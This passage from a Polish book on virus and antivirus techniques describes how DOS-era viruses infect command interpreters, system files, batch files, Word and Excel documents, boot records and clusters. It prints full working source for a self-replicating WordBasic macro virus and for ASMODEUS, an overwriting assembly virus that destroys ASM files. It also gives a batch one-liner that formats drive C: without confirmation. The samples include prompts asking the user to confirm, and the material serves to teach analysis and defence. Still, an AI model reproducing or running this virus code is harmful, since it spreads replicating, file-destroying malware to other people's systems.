    xor    ax,ax                           ;
    mov    word ptr ds:[bx+0Eh],ax         ;
    mov    word ptr ds:[bx+10h],cs         ;
    mov    byte ptr ds:[bx+0Dh],1          ;
    mov    word ptr ds:[bx+03h],8102h      ;

    pop    bx ax ds
    retf

SYZYF ENDS
      END Start

background image

4.1.4. Pliki systemowe DOS
4.1.4.1. Interpretator poleceń
Infekcja interpretatora poleceń (najczęściej plik COMMAND.COM) w zasadzie przebiega 
tak samo jak w przypadku innych plików COM lub EXE (tylko we wcześniejszych 
wersjach systemu DOS plik ten był typu COM). Szybkie infektory najczęściej szukają w 
otoczeniu programu łańcucha COMSPEC, będącego zmienną środowiskową systemu 
DOS, zawierającą pełną nazwę (łącznie ze ścieżką) interpretatora poleceń, i po 
znalezieniu od razu go infekują.
Inny sposób dotarcia do pliku interpretatora poleceń polega na zamazaniu części jego 
kodu, leżącego w pamięci służącej do analizowania i wykonywania poleceń. W 
rezultacie przy wykonywaniu jakiegoś polecenia z poziomu systemu DOS plik z 
interpretatorem poleceń będzie musiał zostać ponownie załadowany do pamięci, a 
wtedy wirus będzie mógł go zainfekować. Zarażając interpretator poleceń warto 
pamiętać o tym, iż posiada on na swym końcu pusty (wypełniony zerami) obszar 
przeznaczony na stos, który jest na tyle długi, iż można go wykorzystać, aby wpisać tam 
kod wirusa, co umożliwi wirusowi zainfekowanie go i przez to pozostawić długość pliku 
niezmienioną (pomimo zmienionej zawartości).
4.1.4.2. Jądro systemu (ang. kernel infector)
Jądro systemu zawarte jest najczęściej w pliku IO.SYS, choć zależy to od konkretnej 
realizacji systemu. Pomimo swego rozszerzenia plik IO.SYS nie jest typowym 
sterownikiem, jakie zwykle zawarte są w plikach SYS, lecz programem o strukturze 
bardziej przypominającej pliki COM lub EXE, tak więc próby infekowania go jako 
sterownika SYS spowodują jego zniszczenie i w efekcie zawieszenie systemu po starcie 
komputera. Wirusy infekujące plik IO.SYS najczęściej zapamiętują początek pliku w 
innym miejscu na dysku (najczęściej w jakiś sposób ukrytym), a na początek pliku 
IO.SYS nadpisują swój kod. Po starcie systemu
program zawarty w BOOT-sektorze, ładuje zainfekowany plik. Sterowanie przekazywane 
jest do wirusa, który po instalacji wczytuje oryginalną zawartość pliku i oddaje do niego 
sterowanie.
4.1.5. Pliki wsadowe BAT
Wirusy typu batch nie są programami komputerowymi, lecz skryptami, które modyfikują 
pliki o rozszerzeniu BAT. Na kod takiego wirusa mogą się składać:
> polecenia: CALL, CD, COPY, DEL, DIR, ECHO, FOR, GOTO, IF/
    REM, RD, REN, SET, SHIFT, TYPE;
> parametry wejściowe: %0 nazwa programu, %1-%9 parametry
    programu;
> operatory zmiany przyporządkowania strumieni wejściowych i
    wyjściowych: <, >, », |;
> nazwy zarezerwowane przez system DOS: urządzenie NUL;
> programy tradycyjnie dostarczane z systemem DOS: debugger DEBUG, ATTRIB, 
    FIND, FORMAT; sterownik ANSI.SYS;
> pola etykiet, wykorzystywane np. do pominięcia linii, w której może być kod 
    maszynowy (opisane w jednym z poprzednich rozdziałów).

Na uwagę zasługują wspomniane wyżej operatory zmiany przyporządkowania strumieni 
wyjściowych. Ich działanie może bowiem zostać wykorzystane do dość brutalnej 
destrukcji. Normalnie użycie polecenia FORMAT C: czy DEL *.* wymaga potwierdzenia 

background image

przez użytkownika, który może zgodzić się lub nie na dokonywaną operację. Zmiana 
przyporządkowania strumieni umożliwia zasymulowanie naciśnięcia przez użytkownika 
jakiegoś klawisza (lub ich sekwencji), w tym wypadku potwierdzających daną operację. 
W efekcie polecenie zacznie się wykonywać bez żadnej kontroli ze strony użytkownika!
Poza tym, skierowanie wszystkich komunikatów do urządzenia NUL może spowodować, 
iż o wykonywanych operacjach użytkownik dowie się dopiero po ich zakończeniu.
Przykładem może być poniższe polecenie, po którego wykonaniu dysk twardy zostanie 
sformatowany.
ECHO Y | FORMAT C:    NUL
Powyższy przykład powinien przekonać każdego o celowości przeglądania nieznanych 
plików wsadowych przed ich pochopnym uruchomieniem, aby uchronić się przed niezbyt 
miłymi konsekwencjami.

4.1.6. Pliki DOC
Pliki DOC są tworzone przez popularny edytor tekstów MS Word. Wirusy 
przemieszczające się w tych plikach wykorzystują język Word Basie, wbudowany w ten 
program. Przy jego pomocy użytkownik może tworzyć własne lub też przedefiniowywać 
już istniejące makra-Wirusy atakujące dokumenty Worda wykorzystują fakt, iż program 
ten ma kilka zdefiniowanych makr o specjalnym, wyjaśnionym w tabeli poniżej, 
znaczeniu, których przejęcie umożliwia zainfekowanie każdego otwieranego lub 
zamykanego dokumentu.
Przy wczytywaniu zainfekowanego dokumentu uruchamiane jest na przykład makro 
AutoOpen, które kopiuje wszystkie zdefiniowane w wirusie makra do pliku 
NORMAL.DOT (globalny szablon zawierający definicje wszystkich podstawowych 
stylów, makr itd., używanych w edytorze). Od tej chwili każdy otwierany, zachowywany 
(zależy to od przejętego makra) plik DOC będzie zarażany. Infekcja polega na 
przerobieniu pliku DOC na DOT (czyli na plik zawierający szablon) i dopisaniu do niego 
makr wirusa. Operacja ta musi być wykonywana, ponieważ zwykły plik DOC nie może 
zawierać w sobie definicji makr.
Makra MS Word o ustalonym znaczeniu
Nazwa makra

Opis makra

AutoExec

uruchamiane podczas rozpoczynania rozpoczynania pracy z Wordem 
z szablonu globalnego zawartego w pliku NORMAL.DAT

AutoNew 

uruchamiane podczas tworzenia nowego dokumentu

AutoOpen

uruchamiane podczas otwierania dokumentu 

AutoClose

uruchamiane podczas zamykania dokumentu

AutoExit

uruchamiane podczas kończenia pracy z Wordem

Przykładem prostego wirusa dla dokumentów Worda może być poniższy program, który 
składa się z dwóch makr: FileSave i AutoOpen. Pierwsze z nich służy do infekcji plików 
DOC podczas ich zachowywania, natomiast drugie dopisuje do szablonu NORMAL.DOT 
dwa powyższe makra bezpośrednio po otwarciu zainfekowanego dokumentu (w 
rezultacie instaluje go rezydentnie w Wordzie). Aby wirus zbudowany z powyższych 
makr zadziałał, należy je umieścić w dowolnym (najlepiej nowym) dokumencie. Operację 
tę najprościej przeprowadzić przy pomocy opcji NARZĘDZIA/MAKRO/UTWÓRZ, 
Poniższe makra zawierają fragmenty kodu, umożliwiające kontrolowane uruchamianie 
wirusa (wirus prosi użytkownika o potwierdzenie wszystkich wykonywanych przez siebie 

background image

operacji).
Zawartość makra: AutoOpen
Sub MAIN
On Error Goto AutoOpen_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,
Autor Adam B│aszczyk"
Uwg$ = "Uwaga MakroWirus, Chcesz go zainstalowaµ ?" TiN = 256 +48+4 Prz = 
MsgBox(Uwg$, Tyt$, TiN) If (Prz = - l) Then MacroCopy WindowName$() + ":AutoOpen",
"Globalne:AutoOpen" MacroCopy WindowName$() + ":FileSave",
"Globalne:FileSave"
MsgBox "Wirus dopisa│ siÛ do NORMAL.DOT, Sam tego chcia│e£ !!!", Tyt$, 64
End If AutoOpen_Error:
End Sub
Zawartość makra: FileSave
Sub MA1N FileSave On Error Goto FileSave_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,
Autor Adan B│aszczyk" Uwg$ = "Czy chcesz zainfekowaµ '" + WindowName$() + "'
makrowirusem ?"
TiN = 256 +48+4
Prz = MsgBox(Uwg$, Tyt$, TiN)
If (Prz = - 1) Then
MacroCopy "Globalne:AutoOpen", WindowName$() +
":AutoOpen" MacroCopy "Globalne: FileSave" , WindowName$ () +
":FileSave" FileSaveAs .Format - l
Tek$ = "Wirus dopisa│ siÛ do '" + WindowName$() + "'" MsgBox Tek$, Tyt$, 64 FileSave
End lf
rem fileSave
FileSave_Error:
End Sub
Powyższy wirus zadziała tylko w polskojęzycznej wersji MS Word (w wersjach dla 
innych języków zmieniają się nazwy procedur oraz szablonów).
Ze względu na oferowaną przez Worda możliwość szyfrowania makr powyższego 
wirusa można w pewnym sensie uczynić niewidzialnym (pewna forma techniki stealth). 
Należy w tym celu dodać do polecenia MacroCopy łańcuch 1, który oznacza, iż podczas 
kopiowania makra będą zaszyfrowane. Użytkownik nie będzie mógł obejrzeć w edytorze 
zawartości takich makr.

4.1.7. Pliki XLS
Podobnie jak pliki DOC również arkusze Excela mogą zawierać w sobie definicje makr, 
które może zdefinować lub przedefiniować wirus. Różnica w stosunku do programu MS 
Word polega na tym, że rolę pliku NORMAL.DOT z Worda pełni tu plik PERSONAL.XLS, 
inne jest też nazewnictwo makr. Sam sposób działania jest w zasadzie identyczny. 
Poniższa tabela zawiera krótki opis makr automatycznych, dostępnych w Excelu.
Makra MS Excela o ustalonym znaczeniu
Nazwa makra

Opis makra

auto_open 

uruchamiane podczas rozpoczynania pracy 
z Excelem

background image

auto_close 

uruchamiane podczas zamykania arkusza

4.1.8. Pliki ASM
Zwykle większość wirusów zaraża pliki opisane na poprzednich stronach tego rozdziału. 
Oprócz nich istnieje mała grupka wirusów, które infekują pliki raczej nietypowe. 
Przykładem mogą być tu pliki ASM. Infekcja plików ASM polega na dodaniu wirusa do 
zarażanego pliku ASM, bądź też na nadpisaniu oryginalnego programu ofiary kodem 
wirusa w postaci źródłowej. Czytając ten tekst można się dziwić, w jaki sposób program 
może znać, a tym bardziej transportować, swój własny kod źródłowy, który ma później 
dołączać do ofiary. W rzeczywistości nie jest to takie trudne do zrealizowania. 
Uruchamialny, wykonujący się kod, który powstaje z pliku ASM, ma postać binarną, a 
więc wirus zarażający plik ASM też jest w takiej postaci. Ze względu na to, iż wirus ma 
dodać do pliku swój własny kod, najprościej przetworzyć go na przykład na postać 
szesnastkową (jako ciąg DB ??h/??h/.../??h), i w takiej postaci dodać kod wirusa do 
zarażanego programu.
Poniżej przedstawiono przykład prostego wirusa plików ASM, nad-pisującego (i w 
efekcie niszczącego pliki).

;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                  ASMODEUS v1.0, Autor : Adam Blaszczyk 1997                ;
;                                                                            ;
;              Prosty wirus nierezydentny, nadpisujacy, atakujacy pliki ASM  ;
;              Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden  ;
;                                                                            ;
; Kompilacja :                                                               ;
;             TASM     ASMODEUS.ASM                                          ;
;             TLINK /t ASMODEUS.OBJ                                          ;
;                                                                            ;
;----------------------------------------------------------------------------;
.286p
ASMODEUS SEGMENT
JUMPS
         ASSUME CS:ASMODEUS, DS:ASMODEUS

         ORG 100h

    NUL          = 00h                     ; \
    LF           = 0Ah                     ;  \ stale znakow
    CR           = 0Dh                     ;  / ASCII
    DOLAR        = '$'                     ; /

    AtrReadOnly  = 00000001b               ; \
    AtrHidden    = 00000010b               ;  \
    AtrSystem    = 00000100b               ;   \ rozne stale atrybutow

background image

    AtrVolumeID  = 00001000b               ;   / pozycji katalogu
    AtrDirectory = 00010000b               ;  /
    AtrArchive   = 00100000b               ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
                                           ; atrybut poszukiwanej pozycji
                                           ; katalogu

VirusDlug           = offset (VirusEnd-VirusStart)
                                           ; dlugosc kodu wirusa
ASMNaglowek_Rozmiar = offset (ASMNaglowek_Koniec-ASMNaglowek_Start)
                                           ; dlugosc dyrekty z poczatku
                                           ; pliku ASM (ASSUME, ORG, itd.)
ASMKoncowka_Rozmiar = offset (ASMKoncowka_Koniec-ASMKoncowka_Start)
                                           ; dlugosc dyrekty z konca
                                           ; pliku ASM (ENDS, END)

VRok          = 1998                       ; \  data opisujaca
VMiesiac      = 13                         ;  - pliki juz zainfekowane
VDzien        = 31                         ; /

VZnacznik     = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc                             ; struktura DTA bufora transmisji
                                           ; dyskowych uzywanych przez
                                           ; funkcje 4E i 4F
               DTAFill db 21 dup (?)       ; nieistotna czesc
               DTAAttr db ?                ; atrybut znalezionej pozycji
               DTATime dw ?                ; czas znalezionej pozycji
               DTADate dw ?                ; data znalezionej pozycji
               DTASize dd ?                ; dlugosc znalezionej pozycji
               DTAName db 13 (?)           ; nazwa znalezionej pozycji
DTAStruc ends

NoweDTA equ 80h

VirusStart:                                ; tu zaczyna sie kod wirusa

    lea   dx,TeInformacja                  ; podaj, gdzie jest tekst
    Call  Informacja                       ; spytaj o uruchomienie wirusa

    jnc   Infekcja                         ; CF=1 oznacza nie uruchamiaj
    jmp   BezInfekcji                      ; NIE - nie infekuj

Infekcja:

    lea   dx,MaskaASM                      ; maska poszukiwanych plikow '*.ASM'

background image

    mov   cx,Atrybut                       ; podaj atrybut poszukiwanej pozycji
    mov   ah,4Eh                           ; funkcja DOS - szukaj pierwszej
                                           ; pozycji katalogu
    int   21h                              ; wywolaj funkcje DOS
    jc    BezInfekcji                      ; gdy CF=1, to blad

KolejnyPlik:
    cmp   ds:[NoweDTA.DTADate],VZnacznik   ; czy znaleziony plik jest juz
                                           ; zarazony ?
    je    SzukajNastepnyPlik               ; tak = szukaj nastepnego

    mov   cx,AtrArchive                    ; podaj nowy atrybut : Archive
    lea   dx,ds:[NoweDTA.DTAName]          ; podaj nazwe pliku do zmiany
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut
    int   21h                              ; wywolaj funkcje DOS
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad

    lea   dx,ds:[NoweDTA.DTAName]          ; podaj nazwe pliku do odczytu
    mov   ax,3d02h                         ; funkcja DOS - otworz plik
                                           ; do odczytu i zapisu
    int   21h                              ; wywolaj funkcje DOS
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad

    xchg  ax,bx                            ; przenies uchwyt pliku do BX

    mov   cx,ASMNaglowek_Rozmiar           ; ile zapisac
    lea   dx,ASMNaglowek_Start             ; skad pobrac dane
    mov   ah,40h                           ; funkcja DOS - zapisz do pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    cld                                    ; operacje na lancuchach do przodu

    push  bx                               ; zachowaj uchwyt pliku

    lea   di,Bufor                         ; gdzie zapisywac wynik
    lea   bx,Hex                           ; gdzie znajduje sie tablica
                                           ; translacji na znaki heksalne
    lea   si,VirusStart                    ; gdzie zaczyna sie kod
    mov   cx,VirusDlug                     ; ilosc bajtow do konwersji

RobHex:
           mov   ax,'BD'                   ; \
           stosw                           ;  \ zapisz sekwencje
           mov   ax,'0 '                   ;  / 'db 0'

background image

           stosw                           ; /

           lodsb                           ; pobierz bajt kodu
           mov   ah,al                     ; zapamietaj na pozniej

           shr   al,4                      ; pobierz 4 gorne bity bajtu kodu
           xlatb                           ; wez odpowiadajcy mu znak
           stosb                           ; heksalny i zapisz go

           mov   al,ah                     ; wez zapamietany bajt kodu
           and   al,15                     ; pobierz 4 dolne bity bajtu kodu
           xlatb                           ; wez odpowiadajcy mu znak
           stosb                           ; heksalny i zapisz go
                                           ; teraz bufor= 'db 0??'
           mov   al,'h'                    ; zapisz 'h' w buforze
           stosb
                                           ; teraz bufor='db 0??h'
           mov   ax,0A0Dh                  ; zapisz znaki CR,LF
           stosw
                                           ; teraz bufor='db 0??h',CR,LF
    loop RobHex                            ; przetwarzaj caly kod programu

    pop   bx                               ; przwyroc uchwyt pliku

    sub   di,offset Bufor                  ; oblicz, ile bajtow zajmuje bufor
    mov   cx,di                            ; ile bajtow zapisac
    lea   dx,Bufor                         ; podaj, skad zapisac wirusa
                                           ; jako ciag DB ?,?, ... ?,?,?
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   cx,ASMKoncowka_Rozmiar           ; ile zapisac
    lea   dx,ASMKoncowka_Start             ; skad pobrac dane
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   cx,ds:[NoweDTA.DTATime]          ; przywroc czas z bufora DTA
    mov   dx,VZnacznik                     ; zaznacz infekcje pliku
    mov   ax,5701h                         ; funkcja DOS - wpisz date, czas
    int   21h                              ; wywolaj funkcje DOS

ZamknijPlik:
    mov   ah,3Eh                           ; funkcja DOS - zamknij plik
    int   21h                              ; wywolaj funkcje DOS

background image

SzukajNastepnyPlik:                        ; poprzedni plik byl zarazony
    mov   ah,4Fh                           ; funkcja DOS - szukaj innego
                                           ; plik ASM
    int   21h                              ; wywolaj funkcje DOS
    jnc   KolejnyPlik                      ; gdy CF=1, to blad

PrzywrocAtrybut:
    mov   cl,ds:[NoweDTA.DTAAttr]          ; podaj stary atrybut, CH=0
    lea   dx,ds:[NoweDTA.DTAName]          ; podaj nazwe pliku do zmiany
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut
    int   21h

BezInfekcji:
    ret                                    ; koncz program, skocz do PSP:100h
                                           ; do rozkazu Int 20h

MaskaASM   db '*.ASM'                      ; maska plikow ASM (ASCIIZ)

ASMNaglowek_Start:
       db 'V SEGMENT',CR,LF
       db 'ORG 100h',CR,LF
       db 'Start:',CR,LF
ASMNaglowek_Koniec:
ASMKoncowka_Start:
       db 'V ENDS',CR,LF
       db 'END Start',CR,LF
ASMKoncowka_Koniec:
   Hex db '0123456789ABCDEF'

; Czesc Informayjna
Informacja:
    mov   ah,09h                           ; funkcja DOS - wyswietl tekst$
    int   21h                              ; wywolaj funkcje DOS

    mov   ah,01h                           ; funkcja DOS - czytaj znak
                                           ; ze standardowego wejscia
    int   21h                              ; wywolaj funkcje DOS
                                           ; AL zawiera znak
    push  ax                               ; zapamietaj na chwile znak

    mov   ax,0E0Dh                         ; \  przejdz
    int   10h                              ;  \ do
    mov   ax,0E0Ah                         ;  / nastepnej
    int   10h                              ; /  linii

background image

    pop   ax                               ; przywroc znak

    and   al,11011111b                     ; konwertuj znak na wielka litere
    cmp   al,'T'                           ; czy potwierdzona infekcja
    clc                                    ; ustaw flage na TAK
    je    CLCRet                           ; TAK i powrot
    stc                                    ; ustaw flage na NIE i powrot
CLCRet:
    ret                                    ; powrot

TeInformacja db CR,LF,'ASMODEUS v1.0, Autor : Adam Blaszczyk 1997'
             db CR,LF
             db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
             db DOLAR

VirusEnd:
   Bufor     db 32768 dup (?)

ASMODEUS ENDS
END VirusStart

4.2. Sektory systemowe
Po uruchomieniu komputera oraz po pozytywnym przejściu sprzętowej inicjalizacji 
wszystkich układów, procesor przystępuje do uruchamiania systemu, oddając najpierw 
sterowanie do BIOS-a, który po przeprowadzeniu różnych testów przekazuje kontrolę 
dalej, tzn. do systemu operacyjnego. Aby to zrobić, musi wczytać go z pliku 
zawierającego jądro systemu. Ze względu na to, iż narzucona przez systemy operacyjne 
struktura plików (różna dla różnych systemów) jest dostępna dopiero po załadowaniu 
odpowiedzialnego za dostęp do niej jądra systemu (także różnego dla różnych 
systemów), powstaje błędne koło: aby załadować plik z jądrem systemu, ono samo musi 
już być załadowane. Jasne jest, iż musi istnieć jakaś uniwersalna metoda na 
załadowanie dowolnego systemu (a więc i jądra systemu). Problem ten rozwiązano 
poprzez nadanie specjalnego znaczenia pierwszym sektorom dysków fizycznych i 
logicznych. Sektory te zawierają krótkie programy, odpowiedzialne za załadowanie 
właściwej części jądra systemu. W przypadku dysku fizycznego mamy do czynienia z 
tzw. Głównym Rekordem Ładującym, a w przypadku logicznych - z tzw. BOOT-
sektorem. Dokładniejszy ich opis znajduje się dalej.

4.2.1. Główny Rekord Ładujący (ang. Master Boot Record-MBR)
Każdy dysk twardy zawiera w swym pierwszym fizycznym (tzn. z punktu widzenia 
dostępu przez BIOS) sektorze tzw. Główny Rekord Ładujący (często nazywany 
sektorem tablicy partycji), zawierający informacje o podziale jego fizycznej struktury na 
logiczne party-cje (strefy). Oprócz powyższych informacji rekord ten zawiera także krótki 
programik, mający na celu odnalezienie w tablicy partycji aktywnej strefy i załadowanie z 
niej systemu operacyjnego. Format głównego rekordu ładującego, opis zawartości 
tablicy partycji oraz rodzaje stref zawarte są w poniższych tablicach.
Format głównego rekordu ładującego (MBR)

background image

Adres

Zawartość

000

Program wczytujący system z aktywnej partycji dysku twardego

1BE

Opis strefy nr 1

1CE

Opis strefy nr 2

1DE

Opis strefy nr 3

1EE

Opis strefy nr 4

1FE

Bajty 055h i 0AAh

Opis jednej strefy w tablicy partycji
Adres

Zawartość

00

Znacznik aktywności strefy: 00h - strefa nie zawiera systemu operacyjnego 
80h - strefa zawiera system operacyjny

01

Numer głowicy, pod którą zaczyna się strefa

02-03

Numer cylindra i sektora, pod którymi zaczyna się strefa, zapisane 
następująco (litery odpowiadają kolejnym bitom):
bajt spod adresu 02h: CCssssss bajt spod adresu 03h: cccccccc ssssss = 
numer sektora (0-63) CCcccccccc = numer cylindra (0-1023)

04

Rodzaj strefy (wg następnej tablicy) 

05

Numer głowicy, pod którą kończy się strefa

06-07

Numer cylindra i sektora, pod którymi kończy się strefa, zapisane tak samo 
jak w polu 02h-03h

08-0B

Względny numer sektora rozpoczynającego strefę 

0C-0F

Długość strefy w sektorach

Rodzaje stref wg bajtu z pola 04h w opisie strefy
Bajt    Rodzaj strefy
00h    pusta
01h    DOS 12-bit FAT
02h    XENIX
03h    XENIX /usr
04h    DOSl6-bitFAT(do32M)
05h    DOS 3.3+ rozszerzona partycja
06h    DOS 3.31 + Large File System (16-bit FAT)
07h    QNX
07h    OS/2 HPFS
07h    Windows NT NTFS
07h    Advanced Unix
08h    OS/2 (tylko v1.0-1.3)
08h    AIX
08h    Commodore DOS
08h    DELL
09h    AIX
09h    Coherent
0Ah    OS/2 Boot Manager
0Ah    OPUS
0Ah    Coherent
0Bh    Windows 95 - 32-bit FAT

background image

0Ch    Windows 95 - 32-bit FAT (LBA)
0Eh    zarezerwowane przez Microsoft dla VFAT
0Fh    zarezerwowane przez Microsoft dla VFAT
10h    OPUS
11h    OS/2 Boot Manager 12-bit FAT
12h    partycja Compaq Diagnostics
14h    tworzy ją Noyell DOS 7.0 FDISK
14h    OS/2 Boot Manager
16h    OS/2 Boot Manager
17h    OS/2 Boot Manager HPFS
18h    AST Windows plik wymiany
21h    zarezerwowana
23h    zarezerwowana
24h    NEC MS-DOS 3.x
26h    zarezerwowana
31h    zarezerwowana
33h    zarezerwowana
34h    zarezerwowana
36h    zarezerwowana
3Ch    PowerQuest
40h    VENIX 80286
41h    Persona! RISC Boot
42h    SFS (Secure File System)
50h    OnTrack Disk Manager
51h    OnTrack Disk Manager
51h    NOYELL
52h    CP/M
52h    Microport System V/386
53h    OnTrack Disk Manager
54h    OnTrack Disk Manager (DDO)
56h    GoldenBow VFeature
61h    SpeedStor
63h    Unix SysV/386
63h    Mach
64h    Novell NelWare 286
65h    NovetlNetWare(3.11)
67h    Novell
68h    Novell
69h    Novell                _
70h    DiskSecure Multi-Boot
71h    zarezerwowana
73h    zarezerwowana
74h    zarezerwowana
75h    PC/lX
76h    zarezerwowana
80h    Minixv1,1 - 1.4a
81h    Minixv1.4b+

background image

81h    Linux
81h    Mitac Advanced Disk Manager
82h    Linux Swap
82h    Prime
83h    Linux native file system
84h    OS/2
86h    zarezerwowana
87h    HPFS Fault-Tolerant
93h    Amoeba file system
94h    Amoeba bad błock table
A1h    zarezerwowana
A3h    zarezerwowana
A4h    zarezerwowana
A5h    FreeBSD
A6h    zarezerwowana
B1h    zarezerwowana
B3h    zarezerwowana
B4h    zarezerwowana
B6h    zarezerwowana
B7h    BSDI file system
B8h    BSDI plik wymiany
C1h    DR DOS 6.0 LOGIN.EXE 12-bit FAT
C4h    DR DOS 6.0 LOGIN.EXE 16-bit FAT
C6h    DR DOS 6.0 LOGlN.EXE Huge
C7h    Syrinx Boot
D8h    CP/M-86
DBh    CP/M
DBh    CTOS (ConvergentTechnologies OS)
E1h    SpeedStor 12-bit FAT rozszerzona partycja
E3h    DOS tylko do czytania
E3h    Storage Dimensions
E4h    SpeedStor 16-bit FAT rozszerzona partycja
E5h    zarezerwowana
E6h    zarezerwowana
F1h    Storage Dimensions
F2h    DOS 3.3+
F3h    zarezerwowana
F4h    SpeedStor
F4h    Storage Dimensions
F6h    zarezerwowana
FEh    LANstep
FEh    IBM PS/2 IML
FFh    Xenix

Po wykonaniu wszystkich autotestów BIOS wczytuje MBR zawsze pod ten sam, stały 
adres 0000:7C00 i wykonuje do tego miejsca daleki skok, przekazując tym samym 
sterowanie do programu ładującego, który odszukuje strefę aktywną w tablicy partycji. 

background image

Znalezienie strefy aktywnej polega na przeszukaniu tablicy partycji i sprawdzeniu, czy w 
polu 00h opisu badanej strefy znajduje się wartość 80h, co jest znakiem, iż jest to strefa 
aktywna i można z niej załadować system operacyjny.
Działanie wirusów zarażających MBR polega na podmianie oryginalnego programu w 
niej zawartego na kod wirusa. Oryginalna tablica partycji może być przechowywana w 
innym sektorze na dysku. Najprościej Jest wczytać oryginalny sektor przy pomocy 
funkcji (02/13), dokonać zmian w jego strukturze i zapisać zmodyfikowany sektor z 
powrotem na dysk przy użyciu funkcji (03/13).
Po zarażeniu MBR wirus jest nieaktywny do czasu zresetowania komputera. Po 
restarcie zainfekowana partycja jest wczytywana przez BIOS pod adres 0000:7C00 i 
sterowanie jest oddawane do wirusa, który zmniejsza pamięć dostępną dla DOS-a 
(poprzez modyfikację zmiennej BIOS, zawartej pod adresem 0000:413), a następnie 
kopiuje się na koniec pamięci, która jest już niedostępna dla DOS-a. Stamtąd przejmuje 
obsługę przerwań i po wczytaniu oryginalnego sektora tablicy partycji (także pod adres 
0000:7COO) oddaje do niej sterowanie, a tam oryginalny program ładujący kontynuuje 
normalne wczytywanie systemu.

4.3. Rekord ładujący (ang. BOOT-sector)
Program ładujący, zawarty w MBR, wczytuje system ze strefy aktywnej, dokładniej: 
wczytuje pierwszy sektor (tzw. BOOT-sektor) ze strefy aktywnej pod adres 0000:7COO 
(a więc pod ten sam co w przypadku MBR), oddaje do niego sterowanie i dopiero 
program zawarty w BOOT-sektorze ładuje plik zawierający jądro systemu (w przypadku 
systemu DOS - najczęściej IO.SYS).
Powyższa operacja jest wykonywana tylko dla dysku twardego. W przypadku dyskietek 
BIOS bezpośrednio ładuje BOOT-sektor z dyskietki i oddaje do niego sterowanie. Jak 
widać, BIOS nie rozróżnia, czy wczytywany sektor jest MBR czy BOOT-sektorem, a 
jedynie odczytuje pierwszy sektor z dysku lub dyskietki i oddaje do niego sterowanie.
Przy pierwszym dostępie do dysku system kopiuje do swych struktur wewnętrznych 
część informacji zawartych w BOOT-sektorze. Informacje te są zawarte w tzw. bloku 
BPB, zawartym w BOOT-sektorze od adresu 0Bh do 23h.
Zawartość BOOT-sektora przedstawiono w poniższej tabeli. 
Zawartość BOOT-sektora
Adres

Zawartość

00-02

Instrukcja skoku do programu ładującego system, najczęściej 
(OEBh ?? 90h). czyli JMP SHORT

03-0A

Nazwa wersji systemu (jako łańcuch ASCII)

Początek bloku  BPB

 +

0B-0C

Wielkość sektora w bajtach 

0E-0F

Liczba sektorów zarezerwowanych na początku dysku

10

Liczba kopii FAT

11-12

Maksymalna liczba plików w katalogu głównym 

13-14

Całkowita liczba sektorów na dysku logicznym (nie używane)

15

Bajt identyfikacji nośnika 

16-17

Liczba sektorów zajętych przez FAT 

18-19

Liczba sektorów na ścieżce 

1A-1B

 Liczba głowic dysku 

1C-1D

background image

Koniec bloku BPB 
24

Numer fizyczny dysku

25

Zarezerwowane

26

Rozszerzony znacznik BOOT-sektora 

27-2A

Numer woluminu 

2B-35

Etykieta dysku                                 

36-3D

Typ FAT zapisany jako łańcuch ASCII            

??-1FF

Program wczytujący system 

Nietrudno domyślić się, iż infekcja BOOT-sektora polegać będzie na zamianie 
oryginalnego programu w nim zawartego na kod wirusa, tak jak miało to miejsce w 
przypadku sektora tablicy partycji. Zamiast przerwania 13h przy infekcji BOOT-sektora 
łatwiej użyć przerwań 25h i 26h, gdyż biorą one na siebie ciężar wszystkich obliczeń 
związanych z translacją sektorów logicznych na fizyczne.

4.4. Jednostki Alokacji Plików (JAP) (ang. clusters)
Pierwszym wirusem, który zarażał JAP, był wirus DIR-2. Ze względu na pewne 
ograniczenia zarażał tylko w wersjach DOS mniejszych od 5.0. Aby zrozumieć zasadę 
jego działania, trzeba przede wszystkim wiedzieć, w jaki sposób system DOS zapisuje 
pliki na dysku. Każdy dysk logiczny widoczny w systemie posiada tzw. tablicę FAT (ang. 
File Alocation Tobie), która dzieli dysk na równe części, zwane Jednostkami Alokacji 
Plików JAP). Wielkość JAP jest różna dla różnych pojemności dysków. Informacja o 
ilości sektorów zajmowanych przez jedną JAP zawarta jest w BOOT-sektorze, w polu 
0Dh. Każdy plik zapisywany na dysku ma do dyspozycji odpowiednią, wynikającą z jego 
długości, liczbę jednostek alokacji. Liczba ta równa jest długości pliku podzielonej przez 
rozmiar jednej JAP. Obliczoną liczbę należy zaokrąglić w górę (aby uwzględnić 
końcówkę pliku, która nie mieści się w pełnej JAP). Jak widać, pliki zapisane na dysku 
wcale nie muszą być zapisane sekwencyjnie, tzn. różne fragmenty pliku mogą być 
porozrzucane po całym dysku. Także widziana przez użytkownika długość pliku tylko 
czasami zgadza się z prawdziwą długością zajmowaną przez plik na dysku (gdy długość 
pliku jest wielokrotnością długości JAP). Wczytując plik DOS odczytuje z odpowiedniego 
pola katalogu numer pierwszej JAP i na jej podstawie, w miarę kolejnych 
odczytów/zapisów do pliku, porusza się po łańcuchu JAP, korzystając z danych 
zawartych w tablicy FAT.
Wirus infekujący przy użyciu JAP zmienia w polu katalogu rozmiar danego pliku 
(najczęściej na rozmiar jednej JAP) oraz wartość pierwszej JAP pliku, która wskazując 
na wirusa umożliwia jego wczytanie niejako przed kod programu ładowanego z dysku i 
w efekcie przejęcie kontroli nad systemem. Zainstalowany w pamięci wirus ma 
